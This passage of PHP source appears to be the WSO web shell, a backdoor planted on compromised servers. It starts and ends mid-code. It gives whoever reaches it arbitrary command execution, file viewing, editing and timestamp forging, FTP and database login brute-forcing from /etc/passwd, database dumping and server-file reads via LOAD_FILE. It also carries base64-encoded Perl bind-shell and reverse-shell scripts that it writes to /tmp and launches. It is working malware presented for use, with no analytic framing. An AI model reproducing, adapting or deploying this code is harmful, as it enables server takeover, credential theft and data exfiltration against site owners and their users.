'decbin','BIN to HEX'=> 'binhex','BIN to DEC'=> 'bindec','String to lower case'=> 'strtolower','String to upper case'=> 'strtoupper','Htmlspecialchars'=> 'htmlspecialchars','String length'=> 'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo $_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"
\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo '<h1>String conversions</h1><div class=content>';echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as $k => $v)echo "<option value='" .htmlspecialchars($v) ."'>" .$k ."</option>";echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') ."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" .(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2'])) ."</textarea></form><pre class='ml1' style='" .(empty($_POST['p1'])?'display:none;':'') ."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='" .htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!= '/')$path.='/';$paths=@array_unique(@array_merge(@glob($path .$_POST['p3']),@glob($path .'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo "<a href='#' onclick='g(\"FilesTools\",null,\"" .urlencode($item) ."\", \"view\",\"\")'>" .htmlspecialchars($item) ."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=" .basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: " .$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo@fread($fp,1024);fclose($fp);}}exit;}if(@$_POST['p2']== 'mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}wsoHeader();echo '<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo '<span>Name:</span> ' .htmlspecialchars(@basename($_POST['p1'])) .' <span>Size:</span> ' .(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-') .' <span>Permission:</span> ' .wsoPermsColor($_POST['p1']) .' <span>Owner/Group:</span> ' .$uid['name'] .'/' .$gid['name'] .'<br>';echo '<span>Change time:</span> ' .date('Y-m-d H:i:s',filectime($_POST['p1'])) .' <span>Access time:</span> ' .date('Y-m-d H:i:s',fileatime($_POST['p1'])) .' <span>Modify time:</span> ' .date('Y-m-d H:i:s',filemtime($_POST['p1'])) .'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as $v)echo '<a href=# onclick="g(null,null,\'' .urlencode($_POST['p1']) .'\',\'' .strtolower($v) .'\')">' .((strtolower($v)==@$_POST['p2'])?'<b>[ ' .$v .' ]</b>':$v) .'</a> ';echo '<br><br>';switch($_POST['p2']){case 'view':echo '<pre class=ml1>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code) .'</div>';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));if(!@chmod($_POST['p1'],$perms))echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.chmod.value);return false;"><input type=text name=chmod value="' .substr(sprintf('%o',fileperms($_POST['p1'])),-4) .'"><input type=submit value=">>"></form>';break;case 'edit':if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo 'Saved!<br><script>p3_="";</script>';@touch($_POST['p1'],$time,$time);}}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].= sprintf('%02X',ord($c[$i])) .' ';switch(ord($c[$i])){case 0:$h[2].= ' ';break;case 9:$h[2].= ' ';break;case 10:$h[2].= ' ';break;case 13:$h[2].= ' ';break;default:$h[2].= $c[$i];break;}$n++;if($n == 32){$n=0;if($i+1<$len){$h[0].= sprintf('%08X',$i+1) .'<br>';}$h[1].= '<br>';$h[2].= "
";}}echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' .$h[0] .'</pre></span></td><td bgcolor=#282828><pre>' .$h[1] .'</pre></td><td bgcolor=#333333><pre>' .htmlspecialchars($h[2]) .'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){if(!@rename($_POST['p1'],$_POST['p3']))echo 'Can\'t rename!<br>';else die('<script>g(null,null,"' .urlencode($_POST['p3']) .'",null,"")</script>');}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.name.value);return false;"><input type=text name=name value="' .htmlspecialchars($_POST['p1']) .'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo 'Fail!';else echo 'Touched!';}else echo 'Bad time format!';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.touch.value);return false;"><input type=text name=touch value="' .date("Y-m-d H:i:s",@filemtime($_POST['p1'])) .'"><input type=submit value=">>"></form>';break;}echo '</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',true);$_POST['p1'].= ' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();echo "d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']),"
\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='" .$GLOBALS['cwd'] ."';";}}echo "d.cf.output.value+='" .$temp ."';";echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases']as $n => $v){if($v == ''){echo '<optgroup label="-' .htmlspecialchars($n) .'-"></optgroup>';continue;}echo '<option value="' .htmlspecialchars($v) .'">' .$n .'</option>';}echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX <input type=checkbox name=show_errors value=1 ' .(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']) .'stderr_to_out']?'checked':'') .'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']));}echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo '</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']== 'yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo 'unlink error!';if($_POST['p1']!= 'yes')wsoHeader();echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo '<h1>Results</h1><div class=content><span>Type:</span> ' .htmlspecialchars($_POST['proto']) .' <span>Server:</span> ' .htmlspecialchars($_POST['server']) .'<br>';if($_POST['proto']== 'ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return $res;}}elseif($_POST['proto']== 'mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip .':' .($port?$port:3306),$login,$pass);@mysql_close($res);return $res;}}elseif($_POST['proto']== 'pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='" .$ip ."' port='" .$port ."' user='" .$login ."' password='" .$pass ."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']== 1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as $line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($line[0]) .'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp .= $line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($tmp);}}}}elseif($_POST['type']== 2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo '<b>' .htmlspecialchars($_POST['login']) .'</b>:' .htmlspecialchars($line) .'<br>';}}}echo"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";}echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="' .htmlspecialchars($GLOBALS['cwd']) .'">' .'<input type=hidden name=a value="' .htmlspecialchars($_POST['a']) .'">' .'<input type=hidden name=charset value="' .htmlspecialchars($_POST['charset']) .'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="' .htmlspecialchars($GLOBALS['cwd']) .'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo '</div><br>';wsoFooter();}function actionSql(){class DbClass{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return $this->res=@mysql_query($str);break;case 'pgsql':return $this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return@mysql_fetch_assoc($res);break;case 'pgsql':return@pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return $this->query("SHOW databases");break;case 'pgsql':return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return $this->res=$this->query('SHOW TABLES');break;case 'pgsql':return $this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return@mysql_error();break;case 'pgsql':return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return@mysql_set_charset($str,$this->link);else $this->query('SET CHARSET ' .$str);break;case 'pgsql':return@pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return $this->fetch($this->query("SELECT LOAD_FILE('" .addslashes($str) ."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" .addslashes($str) ."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `' .$table .'`');$create=mysql_fetch_array($res);$sql=$create[1] .";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `' .$table .'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000 == 0){$head=true;$sql=";
";}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'" .@mysql_real_escape_string($v) ."'";$columns[]="`" .$k ."`";}if($head){$sql .= 'INSERT INTO `' .$table .'` (' .implode(", ",$columns) .") VALUES
(" .implode(", ",$item) .')';$head=false;}else $sql .= "
,(" .implode(", ",$item) .')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";
");else echo(";
");break;case 'pgsql':$this->query('SELECT * FROM ' .$table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]="'" .addslashes($v) ."'";$columns[]=$k;}$sql='INSERT INTO ' .$table .' (' .implode(", ",$columns) .') VALUES (' .implode(", ",$item) .');' ."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl']as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl']as $v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo 'selected';echo ">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo 'selected';echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" .(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"" .(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"" .(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo "<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo '<option value="' .$value .'" ' .($value==$_POST['sql_base']?'selected':'') .'>' .$value .'</option>';}echo '</select>';}else echo $tmp;}else echo $tmp;echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" .(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
</tr>
</table>
<script>
s_db='" .@addslashes($_POST['sql_base']) ."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";if(isset($db)&& $db->link){echo "<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM ' .$value .''));$value=htmlspecialchars($value);echo "<nobr><input type='checkbox' name='tbl[]' value='" .$value ."'> <a href=# onclick=\"st('" .$value ."',1)\">" .$value ."</a>" .(empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") ."</nobr><br>";}echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']== 'select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM ' .$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo "<script>d.sf.onsubmit=function(){st(\"" .$_POST['p2'] ."\", d.sf.p3.value)}</script><span>" .$_POST['p2'] ."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" .((int)$_POST['p3']) .">";echo" of $pages";if($_POST['p3']>1)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']-1) .")'>< Prev</a>";if($_POST['p3']<$pages)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']+1) .")'>Next ></a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM ' .$_POST['p2'] .' LIMIT 30 OFFSET ' .($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `' .$_POST['p2'] .'` LIMIT ' .($_POST['p3']*30) .',30';echo "<br><br>";}if((@$_POST['p1']== 'query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res !== false){$title=false;echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo '<tr>';foreach($item as $key => $value)echo '<th>' .$key .'</th>';reset($item);$title=true;echo '</tr><tr>';$line=2;}echo '<tr class="l' .$line .'">';$line=$line==1?2:1;foreach($item as $key => $value){if($value == null)echo '<td><i>null</i></td>';else echo '<td>' .nl2br(htmlspecialchars($value)) .'</td>';}echo '</tr>';}echo '</table>';}else{echo '<div><b>Error:</b> ' .htmlspecialchars($db->error()) .'</div>';}}echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!= 'loadfile'))echo htmlspecialchars($_POST['p2']);echo "</textarea><br/><input type=submit value='Execute'>";echo "</td></tr>";}echo "</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']== 'loadfile'){$file=$db->loadFile($_POST['p2']);echo '<br/><pre class=ml1>' .htmlspecialchars($file['file']) .'</pre>';}}else{echo htmlspecialchars($db->error());}echo '</div>';wsoFooter();}function actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='" .$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w")or@function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']== 'bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl " .$_POST['p2'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
" .wsoEx("ps aux | grep bp.pl") ."</pre>";unlink("/tmp/bp.pl");}if($_POST['p1']== 'bcp'){cf("/tmp/bc.pl",$back_connect_p);$out=wsoEx("perl /tmp/bc.pl " .$_POST['p2'] ." " .$_POST['p3'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
